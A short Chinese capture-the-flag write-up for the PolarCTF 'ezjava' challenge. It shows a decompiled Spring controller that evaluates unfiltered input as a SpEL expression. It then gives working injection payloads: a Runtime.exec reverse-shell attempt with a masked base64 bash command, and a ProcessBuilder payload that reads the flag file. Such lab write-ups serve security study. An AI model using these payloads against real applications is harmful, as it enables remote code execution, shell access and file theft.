一、题目信息
先附上靶场链接:www.polarctf.com
ezjava这道题给了个jar包,所以先下载下来反编译看看怎么个事。
直接放入idea中并添加为库,反编译看看内容:
二、SPEL注入漏洞
在controller
层中存在如下代码:
public String spelVul(String ex) {
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
String result = parser.parseExpression(ex).getValue(evaluationContext).toString();
System.out.println(result);
return result;
}
熟悉Java的朋友就可以一眼定真,这不是spel
表达式注入嘛?
ex参数没有任何过滤直接打就可。
路由:/SPEL/vul
,可以看到2-1
确实返回了运算结果,说明能解析。
尝试弹个shell到服务器:
T(java.lang.Runtime).getRuntime().exec("bash -c {echo,xxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}")
弹了半天连不上,不解析?有waf? 靶场不出网!
那就直接读flag吧,题目给了flag路径/app/flag.txt
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /app/flag*"}).start().getInputStream(), "gbk")).readLine()
发包即可: